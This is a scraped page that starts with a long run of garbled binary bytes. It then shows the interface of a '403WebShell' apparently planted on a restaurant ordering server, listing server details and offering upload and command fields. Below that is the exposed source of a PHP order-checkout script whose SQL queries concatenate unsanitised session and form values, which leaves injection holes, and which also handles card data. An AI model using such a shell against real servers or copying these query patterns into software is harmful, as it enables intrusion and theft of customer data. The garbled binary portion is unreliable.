ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw��k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ�����mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e���R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1�[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN���ĕ���0������� !01@Q"2AaPq3BR�������?�����@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j��ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^����ԯ̾9Z��F��������n��1��� ��]�[��)�'�������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ���&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0���;_���3������� !01"@AQa2Pq#3BR�������?����ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q�� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�����������4B>��o��](��$B���m�����a�!=���?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{�E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)�����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a��84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b���$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7���k�� 403WebShell
403Webshell
Server IP : 104.21.11.142  /  Your IP : 104.23.197.203
Web Server : Apache
System : Linux tastesys.restaurant-online.biz 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
User : restaura ( 1002)
PHP Version : 5.4.45
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/restaura/public_html/roo/original-brunches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/restaura/public_html/roo/original-brunches/finish.php
<script type="text/javascript">
$(document).ready(function() {
	showLoadingGraphic();
});
</script>
<?php 

 //set variables
 $itemtotal=0;
 $taxabletotal=0;
 $gtotal=0;
 $delcharge=0;
 $processor = $_GET[proc];
 $tender = $_POST[tender];
 $ordertotal = $_POST[grandtotal];
 $_SESSION['stored_payment'] = $_POST['stored_payment'];
 $_SESSION['storedCardSec'] = $_POST['storedCardSec'];
 $bcc = "reporting@pilotwebsolutions.com";
 $from_address = "ordersystem@restaurant-online.biz";
 $from_name = "Taste Systems Online Order System";
 $guest_subject = "Thank you for your order! (".$_SESSION['site_name'].")";
 $store_subject = "New Order (".$_SESSION['site_name'].")";
  //print_r($_SESSION);
  //die("HOLD");
  
 if(isset($_SESSION['favorite_name']) && $_SESSION['favorite_name']!=""){
 	//save cart to favorites for easy re-ordering - first copy parent items
 	$fav_qry1 = "select recordKey, itemNumber, qty, size, halfA, halfB, crust, sauce, fixing, categoryKey, freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, 
 	freeTopping3, freeTopping3L, freeTopping3R, freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R, choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei,
 	choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price from cart where customerID = '".$_SESSION['UserKey']. "' and parentLineNum='0' order by recordKey";
	if(!$favrt=mysql_query($fav_qry1)){
		echo mysql_error(); die($fav_qry1);
	}
	while($favnt=mysql_fetch_array($favrt)){
		$insert = "insert into favorites (favorite_name, customerID, itemNumber, qty, size, halfA, halfB, crust, sauce, fixing, categoryKey, freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, 
 	freeTopping3, freeTopping3L, freeTopping3R, freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R, choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei,
 	choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price) values (";
		$insert .= "'".$_SESSION['favorite_name']."', ";
		$insert .= "'".$_SESSION['UserKey']."', ";
		$insert .= "'".$favnt['itemNumber']."', ";
		$insert .= "'".$favnt['qty']."', ";
		$insert .= "'".$favnt['size']."', ";
		$insert .= "'".$favnt['halfA']."', ";
		$insert .= "'".$favnt['halfB']."', ";
		$insert .= "'".$favnt['crust']."', ";
		$insert .= "'".$favnt['sauce']."', ";
		$insert .= "'".$favnt['fixing']."', ";
		$insert .= "'".$favnt['categoryKey']."', ";
		$insert .= "'".$favnt['freeTopping']."', ";
		$insert .= "'".$favnt['freeToppingL']."', ";
		$insert .= "'".$favnt['freeToppingR']."', ";
		$insert .= "'".$favnt['freeTopping2']."', ";
		$insert .= "'".$favnt['freeTopping2L']."', ";
		$insert .= "'".$favnt['freeTopping2R']."', ";
		$insert .= "'".$favnt['freeTopping3']."', ";
		$insert .= "'".$favnt['freeTopping3L']."', ";
		$insert .= "'".$favnt['freeTopping3R']."', ";
		$insert .= "'".$favnt['freeTopping4']."', ";
		$insert .= "'".$favnt['freeTopping4L']."', ";
		$insert .= "'".$favnt['freeTopping4R']."', ";
		$insert .= "'".$favnt['freeTopping5']."', ";
		$insert .= "'".$favnt['freeTopping5L']."', ";
		$insert .= "'".$favnt['freeTopping5R']."', ";
		$insert .= "'".$favnt['choicea']."', ";
		$insert .= "'".$favnt['choiceb']."', ";
		$insert .= "'".$favnt['choicec']."', ";
		$insert .= "'".$favnt['choiced']."', ";
		$insert .= "'".$favnt['choicee']."', ";
		$insert .= "'".$favnt['choicef']."', ";
		$insert .= "'".$favnt['choiceg']."', ";
		$insert .= "'".$favnt['choiceh']."', ";
		$insert .= "'".$favnt['choicei']."', ";
		$insert .= "'".$favnt['choicea_price']."', ";
		$insert .= "'".$favnt['choiceb_price']."', ";
		$insert .= "'".$favnt['choicec_price']."', ";
		$insert .= "'".$favnt['choiced_price']."', ";
		$insert .= "'".$favnt['choicee_price']."', ";
		$insert .= "'".$favnt['choicef_price']."', ";
		$insert .= "'".$favnt['choiceg_price']."', ";
		$insert .= "'".$favnt['choiceh_price']."', ";
		$insert .= "'".$favnt['choicei_price']."') ";
		
		$original_parent_line = $favnt['recordKey'];
		if($result=mysql_query($insert)){
			$new_parent_line = mysql_insert_id();
		} else {
			die("error $insert");
		}
		
		//now get existing children items and copy to favorites
		$fav_qry2 = "select recordKey, itemNumber, qty, parentLineNum, size, halfA, halfB, crust, sauce, fixing, categoryKey, freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, 
 		freeTopping3, freeTopping3L, freeTopping3R, freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R, choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei,
 		choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price from cart where customerID = '".$_SESSION['UserKey']. "' and parentLineNum='".$original_parent_line."' order by recordKey";
		//$favrt2=mysql_query($fav_qry2);
		if(!$favrt2=mysql_query($fav_qry2)){
			echo mysql_error(); die($fav_qry2);
		}
		
		while($favnt2=mysql_fetch_array($favrt2)){
			$insert2 = "insert into favorites (favorite_name, customerID, itemNumber, qty, parentLineNum, size, halfA, halfB, crust, sauce, fixing, categoryKey, freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, 
 		freeTopping3, freeTopping3L, freeTopping3R, freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R, choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei, 
 		choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price) values (";	
			$insert2 .= "'".$_SESSION['favorite_name']."', ";
			$insert2 .= "'".$_SESSION['UserKey']."', ";
			$insert2 .= "'".$favnt2['itemNumber']."', ";
			$insert2 .= "'".$favnt2['qty']."', ";
			$insert2 .= "'".$new_parent_line."', ";
			$insert2 .= "'".$favnt2['size']."', ";
			$insert2 .= "'".$favnt2['halfA']."', ";
			$insert2 .= "'".$favnt2['halfB']."', ";
			$insert2 .= "'".$favnt2['crust']."', ";
			$insert2 .= "'".$favnt2['sauce']."', ";
			$insert2 .= "'".$favnt2['fixing']."', ";
			$insert2 .= "'".$favnt2['categoryKey']."', ";
			$insert2 .= "'".$favnt2['freeTopping']."', ";
			$insert2 .= "'".$favnt2['freeToppingL']."', ";
			$insert2 .= "'".$favnt2['freeToppingR']."', ";
			$insert2 .= "'".$favnt2['freeTopping2']."', ";
			$insert2 .= "'".$favnt2['freeTopping2L']."', ";
			$insert2 .= "'".$favnt2['freeTopping2R']."', ";
			$insert2 .= "'".$favnt2['freeTopping3']."', ";
			$insert2 .= "'".$favnt2['freeTopping3L']."', ";
			$insert2 .= "'".$favnt2['freeTopping3R']."', ";
			$insert2 .= "'".$favnt2['freeTopping4']."', ";
			$insert2 .= "'".$favnt2['freeTopping4L']."', ";
			$insert2 .= "'".$favnt2['freeTopping4R']."', ";
			$insert2 .= "'".$favnt2['freeTopping5']."', ";
			$insert2 .= "'".$favnt2['freeTopping5L']."', ";
			$insert2 .= "'".$favnt2['freeTopping5R']."', ";
			$insert2 .= "'".$favnt2['choicea']."', ";
			$insert2 .= "'".$favnt2['choiceb']."', ";
			$insert2 .= "'".$favnt2['choicec']."', ";
			$insert2 .= "'".$favnt2['choiced']."', ";
			$insert2 .= "'".$favnt2['choicee']."', ";
			$insert2 .= "'".$favnt2['choicef']."', ";
			$insert2 .= "'".$favnt2['choiceg']."', ";
			$insert2 .= "'".$favnt2['choiceh']."', ";
			$insert2 .= "'".$favnt2['choicei']."', ";
			$insert2 .= "'".$favnt2['choicea_price']."', ";
			$insert2 .= "'".$favnt2['choiceb_price']."', ";
			$insert2 .= "'".$favnt2['choicec_price']."', ";
			$insert2 .= "'".$favnt2['choiced_price']."', ";
			$insert2 .= "'".$favnt2['choicee_price']."', ";
			$insert2 .= "'".$favnt2['choicef_price']."', ";
			$insert2 .= "'".$favnt2['choiceg_price']."', ";
			$insert2 .= "'".$favnt2['choiceh_price']."', ";
			$insert2 .= "'".$favnt2['choicei_price']."') ";
			
			if(mysql_query($insert2)){
				//clear favorite after inserted
					
			} else {
				echo "error saving to favorites...";
				die("<br>error: $insert2");
		
			}
			
		}
			
	}
 	
 	
 }

 //for linkPOS clients - option to skip sending sauce and crust to POS receipt
 //$skip_crusts = 1;
 //$skip_sauces = 1;
 if($_SESSION[use_multiple_crusts]==0){
 	$query5 = "select RecordKey from menuCategory where CategoryName='Pizza Crust'";
	 $rt5=mysql_query($query5);
	 if (mysql_num_rows($rt5) > 0) {
	 	while($nt5=mysql_fetch_array($rt5)){
			$crustcat = $nt5[RecordKey];
		}
	 }
	 
 }
 if($_SESSION[use_multiple_sauces]==0){
 	$query5 = "select RecordKey from menuCategory where CategoryName='Pizza Sauce'";
	 $rt5=mysql_query($query5);
	 if (mysql_num_rows($rt5) > 0) {
	 	while($nt5=mysql_fetch_array($rt5)){
			$saucecat = $nt5[RecordKey];
		}
	 }
	 
 }
 
 $query5 = "SELECT itemKey from menuItem where categoryKey='$saucecat'";
 $rt5=mysql_query($query5);
 $sauceitemkeys = "";
 if (mysql_num_rows($rt5) > 0) {
 	while($nt5=mysql_fetch_array($rt5)){
 		if($sauceitemkeys == ""){
 			$sauceitemkeys = "'$nt5[itemKey]'";
 		} else {
 			$sauceitemkeys .= ",'$nt5[itemKey]'";
 		}		
	}
 } else {
 	$sauceitemkeys = "''";
 }
 
 
 
 //count all items in cart for current user. If zero, set order total to 0
 $query5 = 'SELECT * from cart WHERE customerID = ' .  $_SESSION['UserKey'];
 $rt5=mysql_query($query5);	   
 if (mysql_num_rows($rt5) == 0) {
	$ordertotal=0;
 }
 $query5="";
 include("includes/mail_function.php");	   	
 include('timezone.php');
 date_default_timezone_set($timezone);
 
 //select database
 include('menudatabase.php');
 if(!empty($menudatabase)){	//select main database for store to access local store settings
    include ('includes/db1config.php');
    include ('includes/mysql_connect.php');
 }
 //get store contact info, settings and tax rate
  	$query = "Select email, deliver, deltime, preptime, half_topping_prices, title, salesTax, phone, orderByFax, wp_authid, custom_order_confirmation from storePrefs";
	$rt=mysql_query($query);          // query executed

	if (mysql_num_rows($rt) == 0) {
		//not found, do nothing
	} else {
		while($nt=mysql_fetch_array($rt)){
	  		$storeemail = $nt[email];
	  		$wedeliver = $nt[deliver];
	  		$deltime = $nt[deltime];
			$preptime = $nt[preptime];
			$half_topping_prices = $nt[half_topping_prices];
			$site_name = $nt[title];
			if($nt[salesTax] >0){$taxrate = $nt[salesTax];} else {$taxrate = 0;}
			$store_phone = $nt[phone];
			$faxorders=$nt[orderByFax];
			$_SESSION['wp_authid'] = $nt[wp_authid];
			$custom_order_confirmation = $nt[custom_order_confirmation];
		}
	}

 
  //get guest email address
  $query = 'SELECT Email, schedule, schedule_dt from guestLogin WHERE UserKey = ' .  $_SESSION['UserKey'];
  $rt=mysql_query($query);
   echo mysql_error();
 	 while($nt=mysql_fetch_array($rt)){
         $guestemail = $nt[Email];
         $schedule = $nt[schedule];	//human readable date & time
		 $dt_schedule = $nt[schedule_dt];	//db formatted datetime
     }
     

//echo "tender=" . $tender."<br />";

//if credit card payment AND order total is not $0, include payment capture script 
if(($tender=="card")&&($ordertotal>0)){
	//for PayPal PayFlow OR PayPal Payments Pro
	if(($processor=="3")&&($_SESSION['linkpos']==false)){
		include("includes/capture.php");
	}

	//for PayPal Payments Pro
	if(($processor=="4")&&($_SESSION['linkpos']==false)){
		$_SESSION["Payment_Amount"]=$ordertotal;
		//include("includes/expresscheckout.php");
		include("includes/capture.php");
	}
	
	//for Worldpay
	if(($processor=="5")){
		$_SESSION["Payment_Amount"]=str_replace(".", "", $ordertotal);
		//include("includes/wp_capture.php");
		$approved=0;
		$process="charge";
		include("includes/wp_process.php");
		if($approved==0){$error_message = $result;}
		//die("amt: $_SESSION[Payment_Amount]");		
	}
}
//if not a payflow or paypal pro payment....OR if payflow/paypal pro payment approved...OR if cash payment, then ok to process order. - otherwise, prompt user to call store due to error

	
	//if not using payflow, not using PayPal Pro AND not linkPOS
	//OR if using Payflow or paypal pro AND payment already captured
	//OR using linkPOS
	//OR cash payment...
	//then continue processing order (it is either a cash payment, linkPOS payment or already paid)
if(($processor!="3" && $processor!="4" && $processor!="5" && $_SESSION['linkpos']==false) 
|| (($processor=="3"||$processor=="4"||$processor=="5") && $approved==1)||
($_SESSION['linkpos']==true || $processor=="8")||($tender=="cash" && $ordertotal>0)){ //ends around line 1014

	  //create order number
	  if (isset($_SESSION['FirstName'])) {
		 $ordernum = substr($_SESSION['LastName'],0,1) . substr(strtotime("now"),-6);
	  } else {
		$ordernum = 'W' . substr(strtotime("now"),-6);
	}
	//echo 'order #: ' . $ordernum ;   //for testing
	 //get total variables passed from order
	//$subtotal        = $_POST["subtotal"];
	//$totaltax        = $_POST["tax"];
	//$delivery        = $_POST["delivery"];
	//$ordertotal      = $_POST["grandtotal"];
	//copy cart orderitem table
	$bad_order="0";
	$query5 = 'SELECT * from cart WHERE customerID = ' .  $_SESSION['UserKey'];
	
			if($_SESSION[use_multiple_crusts]==0){
			 	$query55 = "select RecordKey from menuCategory where CategoryName='Pizza Crust'";
				 $rt55=mysql_query($query55);
				 if (mysql_num_rows($rt55) > 0) {
				 	while($nt55=mysql_fetch_array($rt55)){
						$crustcat = $nt55[RecordKey];
					}
				 }
			 	$query5 .=" AND categoryKey <>$crustcat "; 
				$skip_crusts==1;
			 }
			 if($_SESSION[use_multiple_sauces]==0){
			 	$query55 = "select RecordKey from menuCategory where CategoryName='Pizza Sauce'";
				 $rt55=mysql_query($query55);
				 if (mysql_num_rows($rt55) > 0) {
				 	while($nt55=mysql_fetch_array($rt55)){
						$saucecat = $nt55[RecordKey];
					}
				 }
				 $query5 .=" AND categoryKey <>$saucecat "; 
				 $skip_sauces==1;
			 }
			 $query5 .=' OR (customerID = ' .  $_SESSION['UserKey'].' AND categoryKey is null)';
	//echo "<br>qry5: $query5<br>";		die(); 
	$rt5=mysql_query($query5);
	   
	   	$good_row_count=0;
		while($nt5=mysql_fetch_array($rt5)){
			if($nt5[qty]>0){				
				 $query2 = 'Insert into orderItem (UserKey, itemNumber, qty, recordKey, parentLineNum, size, subitems, halfA, halfB, crust, categoryKey, couponCode, orderNumber, 
				 freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, freeTopping3, freeTopping3L, freeTopping3R, 
				 freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R, choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei, upgrade_discount, choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price) 
				 values("' . $_SESSION['UserKey'] . '", "' . $nt5[itemNumber] . '", "';
				 $query2 .= $nt5[qty] . '", "' . $nt5[recordKey] . '", "' . $nt5[parentLineNum] . '", "' . $nt5[size] . '", "' . $nt5[subitems] . '", "';
				 $query2 .= $nt5[halfA] . '", "' . $nt5[halfB] . '", "' . $nt5[crust] . '", "' . $nt5[categoryKey] . '", "' . $nt5[couponCode] . '", "' . $ordernum . '", 
				 "' . $nt5[freeTopping] . '", "' . $nt5[freeToppingL] . '", "' . $nt5[freeToppingR] . '",
				 "' . $nt5[freeTopping2] . '", "' . $nt5[freeTopping2L] . '", "' . $nt5[freeTopping2R] . '",
				 "' . $nt5[freeTopping3] . '", "' . $nt5[freeTopping3L] . '", "' . $nt5[freeTopping3R] . '",
				 "' . $nt5[freeTopping4] . '", "' . $nt5[freeTopping4L] . '", "' . $nt5[freeTopping4R] . '",
				 "' . $nt5[freeTopping5] . '", "' . $nt5[freeTopping5L] . '", "' . $nt5[freeTopping5R] . '",
				 "' . $nt5[choicea] . '", "' . $nt5[choiceb] . '", "' . $nt5[choicec] . '", "' . $nt5[choiced] . '", "' . $nt5[choicee] . '", "' . $nt5[choicef] .'", "'. $nt5[choiceg] .'", "' . $nt5[choiceh] .'", "';
				 $query2 .= $nt5[choicei] .'", "'. $nt5[upgrade_discount] .'",
				 "' . $nt5[choicea_price] . '", "' . $nt5[choiceb_price] . '", "' . $nt5[choicec_price] . '",
				 "' . $nt5[choiced_price] . '", "' . $nt5[choicee_price] . '", "' . $nt5[choicef_price] . '",
				 "' . $nt5[choiceg_price] . '", "' . $nt5[choiceh_price] . '", "' . $nt5[choicei_price] . '"
				 )';

				// echo '<br>insert qry =' . $query2.'<br>' ;   //FOR TESTING
				 $result = mysql_query($query2);        
				 //echo mysql_error();
				 if (!$result) {
						 $msg = 'We apologize, but there was an error saving your order and site admin has been notified. Please click the "My Order" link and try again.';
						 $message  = 'Invalid query: ' . mysql_error() . "\n";
						 $message .= 'Whole query: ' . $query2;
						///email address////
						$to =  "support@pilotwebsolutions.com";
						$email =  "support@pilotwebsolutions.com";
					    ///Subject Title
						$subject="ROO site error";
		
		
						//mail Function//////
						mail($to,$subject,$message,"From: $email\n" . "MIME-Version: 1.0\n" .
						"Content-type: text/html; charset=iso-8859-1");
						die($msg);
					  } else{
					  	$good_row_count ++;
					  }
					  
				  if(!empty($nt5[note])){
						  $ordernote =  $nt5[note];
				  }
	  		} else {
				//qty=0, so check if it is a coupon record
				//echo "<br>coupon record detected...<br>";
				if(!empty($nt5[couponCode])){
					$query2 = 'Insert into orderItem (UserKey,  couponCode, orderNumber) 
					values("' . $nt5[UserKey] . '", "' . $nt5[couponCode] . '", "'.$ordernum.'")';
					mysql_query($query2);
					//echo "insert query2: $query2<br>";
					$coupon_code = $nt5[couponCode];
					$query2 = "select discountAmount, discountPercent from coupon where code='$coupon_code'";
					//echo "select query2: $query2<br>";
					$result = mysql_query($query2);
					while($nt3=mysql_fetch_array($result)){
						$coupon_discount_amt = $nt3['discountAmount'];
						$coupon_discount_pct = $nt3['discountPercent'];
					}
					
				}
			
			}
	  }
	//if any items have coupon codes, set itemPrice for one of the items on the coupon
	$cquery = "select distinct couponCode from orderItem where orderNumber='$ordernum'";
	//echo "cquery: $cquery<br>";
	$crt = mysql_query($cquery);
	if(mysql_num_rows($rt)>0){
		while($cdata=mysql_fetch_array($crt)){
			//get coupon price
			$coupon_code = $cdata['couponCode'];
			$cquery2 = "select couponPrice from coupon where code='".$coupon_code."'";
			//echo "cquery2: $cquery2<br>";
			$crt2 = mysql_query($cquery2);
			while($cdata2=mysql_fetch_array($crt2)){
				$coupon_price = $cdata2['couponPrice'];
				//echo "coupon_price: $coupon_price<br>";
			}
			//if coupon price found, update one item on the order to use the coupon price
			if($coupon_price>0){
				$cquery2 = "select min(recordKey) as recordKey from orderItem where orderNumber='".$ordernum."' AND couponCode='".$coupon_code."'";
				//echo "cquery2: $cquery2<br>";
				$crt2 = mysql_query($cquery2);
				while($cdata2=mysql_fetch_array($crt2)){
					$updatekey = $cdata2['recordKey'];	
				}
				if($updatekey!=""){
					$updateqry = "update orderItem set itemPrice=".$coupon_price." where recordKey=".$updatekey;
					//echo "updateqry: $updateqry<br>";
					mysql_query($updateqry);
				}
			}
		}
	}
	
	
	  
	if($good_row_count>0){
	//create record in Orders table to link all order items on order
	  $query2 = 'Insert into orders (UserKey, orderNumber, delivery, payMethod, orderTotal, note, schedule, schedule_timestamp, cc_ref_code, tipamount, 
	  coupon_code, coupon_discount, coupon_percent) values ("' . $_SESSION['UserKey'] . '", "' . $ordernum . '", "';

	  //$query3 = "Select pickup, payMethod from  guestLogin where UserID = '" . $_SESSION['UserID'] . "'";
	  $query3 = "Select pickup, payMethod, tipamount from  guestLogin where UserKey = '" . $_SESSION['UserKey'] . "'";
	  $rt3=mysql_query($query3);          // query executed
	   echo mysql_error();
	   while($nt3=mysql_fetch_array($rt3)){
		 //echo  $nt3[pickup];
			  if ($nt3[pickup]==0){    //this is delivery
					//$query2 .= '1", "';
					$delivery =1;
			  } else{   // order is carryout
					//$query2 .= '0", "';
					$delivery =0;
			  }
	  $paymethod = $nt3[payMethod];
	  $tipamount = $nt3[tipamount];
	  //$query2 .= $paymethod . '", "';
	   }
			 //to avoid possible errors saving order - set to 0 if data not found...
		if(empty($paymethod)){$paymethod = 0;}
		if(empty($delivery)){$delivery = 0;}
		if($paymethod=="0"){	//mark as bad  order if paymethod not set 
			$bad_order="1";
			$msg = "<br />pay method empty<br />";
		}
		if((empty($_SESSION['UserKey']))||($_SESSION['UserKey']=="9999")){ //mark as bad order if userkey not valid
			$bad_order="1";
			$msg = "<br />user key empty<br />";
		}
	 $query2 .= $delivery . '", "' . $paymethod . '", "';
	 
	 $query2 .= $ordertotal;
	 if (!empty($ordernote)){
	   $ordernote = str_replace('"', '\"', $ordernote);
	   $ordernote = str_replace("'", "\'", $ordernote);
		  $query2 .= '", "' . ($ordernote) . '"';
	 } else{
		  $query2 .= '", "n/a"';
	 }
	 
	 if (!empty($schedule)){
		  $query2 .= ', "' . $schedule . '"';
		  $query2 .= ', "' . $dt_schedule . '"';	
	 } else{
		  //$query2 .= ', "' . $deltime . '"';
		  $query2 .= ', "' . $deltime . '",""';
	 }
	 //if cc payment cleared, enter reference code
	 if(!empty($cc_ref_code)){
	 	$query2 .= ', "'.$cc_ref_code.'"';
	 } else {
		$query2 .= ', ""';
	 }
	 $query2 .=", '$tipamount'";
	 $query2 .=", '$coupon_code'";
	 $query2 .=", '$coupon_discount_amt'";
	 $query2 .=", '$coupon_discount_pct'";
	 $query2 .= ")";
	 
	 //echo 'updateqry =' . $query2 ;   //FOR TESTING
	if($bad_order=="0"){
		$result = mysql_query($query2);          // query executed
	 
	   //echo mysql_error();
	   if (!$result) {
					$msg = 'We apologize, but there was an error saving your order and site admin has been notified. Please click the "My Order" link and try again.';
				 $message  = 'Invalid query: ' . mysql_error() . "\n";
				  $message .= 'Whole query: ' . $query2;
				  $message .= "\n" . 'Store: ' . $seotitle . ' - ' . $seocitystate;
				  ///email address////
					$to =  "support@pilotwebsolutions.com";
				  $email =  "support@pilotwebsolutions.com";
					///Subject Title
					$subject="ROO site error";


					//mail Function//////
					mail($to,$subject,$message,"From: $email\n" . "MIME-Version: 1.0\n" .
				  "Content-type: text/html; charset=iso-8859-1");
				 die($msg);
					  }
	  //copy cart to favorites if selected
										   //****can add later ****
	 //build order string to send via email or fax:
	 //if($_SESSION['linkpos']==true){
	 if($processor=="8"){
	 	$approved=0;
	 	include("linkpos_submit_order.php");
	 	if($approved==0){
	 		$order_error=1;
	 	}
	 }
	 $query = "select * from guestLogin where UserKey ='" . $_SESSION['UserKey'] . "'";
	 $rt=mysql_query($query);          // query executed
	   echo mysql_error();
	   while($nt=mysql_fetch_array($rt)){
		   
			//$ordertime = $nt[pickup]; 
			//$pickup = $nt[pickup];
			//$schedule = $nt[schedule];
			$payment = $nt[paymethod];
			$firstname=$nt[FirstName];
			$lastname=$nt[LastName];
			$company=$nt[CompanyName];
			$email=$nt[Email];
			$phone=$nt[Phone];
			$address=$nt[Address1];
			if (!empty($nt[Address2])){
				$address .= '<br />'. $nt[Address2];
			}
				 $address .='<br />' . $nt[City] . ", " . $nt[State] . " " . $nt[Zip];
			//$cardtype=$nt[cardType];
			//$cardexp=$nt[cardExpMonth] . "/" . $nt[cardExpYear];
			//$cardlast4=substr($nt[cardNumber], -4);
			$cardlast4=substr($_SESSION['cardNumber'], -4);
			//$fullcardnum=$nt[cardNumber];
			//$cardholder=$nt[cardholder];
			$cardholder=$_SESSION['cardholder'];
			//$cardzip=$nt[cardzip];
			$cardzip=$_SESSION['cardzip'];
	   }
	  $query = "select * from orders where orderNumber ='" . $ordernum . "'";
